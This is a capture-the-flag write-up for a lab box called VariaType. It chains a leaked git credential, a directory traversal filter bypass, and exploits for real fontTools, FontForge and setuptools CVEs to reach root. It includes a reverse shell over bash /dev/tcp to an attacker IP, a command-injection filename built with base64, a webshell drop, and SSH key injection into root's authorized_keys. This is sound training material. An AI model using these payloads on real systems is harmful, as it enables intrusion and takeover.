Overview

VariaType is a medium Linux box built around a font generation platform. The attack chain is genuinely satisfying, a leaked git history hands us credentials, a directory traversal with filter bypass lets us map the server, an arbitrary file write in fontTools gets us a foothold, a FontForge command injection moves us laterally, and a setuptools path traversal in a sudo script gets us root. Four separate CVEs across the chain, each building on the last.


Reconnaissance

nmap -sV -O -sS -Pn -p- 10.129.28.105
22/tcp  open  ssh   OpenSSH 9.2p1 Debian
80/tcp  open  http  nginx 1.22.1

The web service redirects to variatype.htb. Add it to /etc/hosts and go take a look:

sudo nano /etc/hosts
# Add: 10.129.28.105   variatype.htb

The main site is a web app for generating variable fonts from .designspace and master font files. Nothing immediately interesting from manual browsing, so let’s enumerate.


Subdomain Enumeration

gobuster vhost -u http://variatype.htb \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  --append-domain -r

Discovers portal.variatype.htb. Add it to /etc/hosts and navigate there. It’s an Internal Validation Portal behind a login form. Unauthenticated directory brute force turns up something very interesting:

gobuster dir -u http://portal.variatype.htb \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt
/.git        (Status: 301)
/.git/HEAD   (Status: 200)
/.git/config (Status: 200)
/.git/index  (Status: 200)
/files       (Status: 301)
/index.php   (Status: 200)

An exposed .git directory. When developers push code directly to production and forget to restrict access to the .git folder, the entire version history becomes retrievable. Let’s pull it down.


Git Repository Dump and Credential Extraction

pip3 install git-dumper --break-system-packages
git-dumper http://portal.variatype.htb/.git varia-repo
cd varia-repo

Only one file, auth.php, and it’s empty. But the git history is the real prize. Developers often commit secrets, realise their mistake, and remove them in a follow-up commit. The secrets are gone from the current code but preserved forever in the history:

git log --oneline
753b5f5 fix: add gitbot user for automated validation pipeline
5030e79 feat: initial portal implementation

That commit message is suspicious. Let’s see what changed:

git show 753b5f5
-$USERS = [];
+$USERS = [
+    'gitbot' => 'G1tB0t_Acc3ss_2025!'
+];

Classic. A developer hardcoded credentials, caught themselves, and removed them in a subsequent commit, not realising that git preserves everything.

Credentials: gitbot:G1tB0t_Acc3ss_2025!


Authenticated Enumeration and Directory Traversal

The credentials work on the portal but the dashboard is essentially empty. The key insight here is that an unauthenticated directory brute force will hit 302 redirects on protected pages and miss them entirely. We need to pass a session cookie so gobuster sees the actual authenticated responses. We also need to specify extensions, otherwise gobuster won’t discover download.php:

# Get a session cookie first
curl -s -c cookies.txt -X POST http://portal.variatype.htb/index.php \
  -d "username=gitbot&password=G1tB0t_Acc3ss_2025!"

# Re-run authenticated with extensions
gobuster dir -u http://portal.variatype.htb \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -c "PHPSESSID=<your_cookie>" -x php,html,txt

New pages surface: download.php and view.php.

Requesting download.php without parameters returns “File parameter required”. The obvious traversal fails:

curl -s "http://portal.variatype.htb/download.php?file=../../../../etc/passwd" \
  -H "Cookie: PHPSESSID=<cookie>"
# Returns: "file parameter required"

After some trial and error, the correct parameter is f, and the ../ filter can be bypassed using ....//, the filter strips ../ from ....//', leaving ../` behind:

curl -s -b "PHPSESSID=<cookie>" \
  "http://portal.variatype.htb/download.php?f=....//....//....//....//....//etc/passwd"

Arbitrary file read confirmed. After testing some obvious paths (SSH keys, history files) without luck, reading the nginx config reveals the full server layout:

curl -s -b "PHPSESSID=<cookie>" \
  "http://portal.variatype.htb/download.php?f=....//....//....//....//....//etc/nginx/nginx.conf"

Key finding: variatype.htb is a reverse proxy to a Flask app running on 127.0.0.1:5000. Two completely separate applications on the same server, with the /files directory being web-accessible on the portal side. That detail matters for what comes next.


Initial Foothold: CVE-2025-66034 (fontTools RCE)

Directory brute force against the main domain reveals /services, and from there a font generator tool at /tools/variable-font-generator. The site explicitly mentions fontTools in its pipeline, and combined with the machine name, this is clearly the intended path.

CVE-2025-66034 is an arbitrary file write in fontTools.varLib. The vulnerability works like this:

A .designspace file is XML that tells fontTools how to build a variable font. The <variable-font> element has a filename attribute specifying where to write the output. fontTools passes this to os.path.join() without sanitisation. If the filename is an absolute path, os.path.join() discards the intended safe output directory entirely and writes wherever the attacker specifies. Content in <labelname> elements gets written verbatim into the output, which means we can write a PHP webshell directly into the web-accessible /files directory.

Using the public PoC:

git clone https://github.com/4nuxd/CVE-2025-66034
cd CVE-2025-66034

python3 exploit.py \
  --ip 10.10.14.45 --port 4444 \
  --upload http://variatype.htb/tools/variable-font-generator/process \
  --webroot /var/www/portal.variatype.htb/public/files \
  --shell http://portal.variatype.htb/files

The exploit writes a PHP webshell to /var/www/portal.variatype.htb/public/files/shell.php and catches an incoming connection. Shell lands as www-data.


Lateral Movement: CVE-2024-25081 (FontForge Command Injection)

Checking /opt reveals a script owned by steve:

cat /opt/process_client_submissions.bak

It’s a bash cronjob that watches /var/www/portal.variatype.htb/public/files for uploaded font files and ZIPs, extracts them, and passes each filename to FontForge for validation. There’s a regex filter that appears to block dangerous filenames:

SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$'

But look at how FontForge actually gets called:

fontforge -lang=py -c "font = fontforge.open('$file')"

The filename is interpolated directly into the shell command unquoted. This is CVE-2024-25081. The bypass is elegant: base64 encode the payload so it only contains regex-safe alphanumeric characters, then use ${IFS} as a space substitute (spaces would fail the regex check). The regex sees clean characters and waves it through, then the shell interprets the $() command substitution.

Step 1, Generate the base64 encoded reverse shell payload (on your attack machine):

echo "bash -i >& /dev/tcp/10.10.14.45/5555 0>&1" | base64 -w 0
# Copy the full output string

Step 2, Create a ZIP with the malicious filename embedded:

import zipfile
payload = "PASTE_BASE64_OUTPUT_HERE"
exploit_filename = "$(echo${IFS}" + payload + "|base64${IFS}-d|bash).ttf"
with zipfile.ZipFile('exploit.zip', 'w') as zipf:
    zipf.writestr(exploit_filename, "dummy content")
print("exploit.zip created")
python3 exploit.py
unzip -l exploit.zip   # verify the malicious filename is inside

Step 3, Serve the ZIP and catch the shell:

# Terminal 1
python3 -m http.server 8080

# Terminal 2
nc -lvnp 5555

Step 4, Drop the ZIP into the watched directory from the www-data shell:

wget http://10.10.14.45:8080/exploit.zip \
  -O /var/www/portal.variatype.htb/public/files/exploit.zip

Within a minute the cronjob fires, FontForge processes the malicious filename, the base64 payload decodes and executes, and a shell lands as steve.

User flag is at /home/steve/user.txt.


Privilege Escalation: CVE-2025-47273 (setuptools Path Traversal)

sudo -l
(root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *

The script takes a URL, downloads it using setuptools.package_index.PackageIndex, and saves it to /opt/font-tools/validators. Checking the setuptools version:

pip3 show setuptools | grep Version
# Version: 78.1.0

CVE-2025-47273 affects setuptools below version 78.1.1. The vulnerability is in how PackageIndex.download() handles URL-encoded characters in the destination path. When a URL contains %2F (URL-encoded forward slashes), setuptools decodes them into real slashes after its path sanitisation has already run. This causes it to treat the decoded string as an absolute path, discarding the intended safe output directory entirely. Since the script runs as root via sudo, we can write any file we serve to anywhere on the filesystem, including /root/.ssh/authorized_keys.

Step 1, Generate an SSH keypair on your attack machine:

ssh-keygen -t ed25519 -f root_key -N ""

Step 2, Serve the public key with a custom HTTP server:

We need a server that ignores whatever path gets requested and always serves our public key. Save this as server.py:

from http.server import BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.end_headers()
        with open('root_key.pub', 'rb') as f:
            self.wfile.write(f.read())

HTTPServer(('0.0.0.0', 8888), Handler).serve_forever()
python3 server.py

Step 3, Trigger the exploit from steve’s shell:

The %2F characters are URL-encoded slashes. setuptools decodes them after sanitisation and writes our public key straight to /root/.ssh/authorized_keys:

sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
  "http://10.10.14.45:8888/%2Froot%2F.ssh%2Fauthorized_keys"

Step 4, SSH in as root:

ssh -i root_key root@variatype.htb

Root flag is at /root/root.txt.


Attack Chain Summary

Step Detail
Recon nmap, vhost scan → portal.variatype.htb
Git dump Exposed .gitgit-dumper → hardcoded credentials in commit history
Auth gitbot:G1tB0t_Acc3ss_2025! on the portal
Traversal download.php?f=....// filter bypass → arbitrary file read → nginx config reveals Flask app
Foothold CVE-2025-66034 fontTools file write → PHP webshell in /files/ → shell as www-data
Lateral movement CVE-2024-25081 FontForge command injection via ZIP filename in cronjob → shell as steve
User flag /home/steve/user.txt
Privesc CVE-2025-47273 setuptools %2F path traversal → inject SSH pubkey into /root/.ssh/authorized_keys
Root flag ssh -i root_key root@variatype.htb/root/root.txt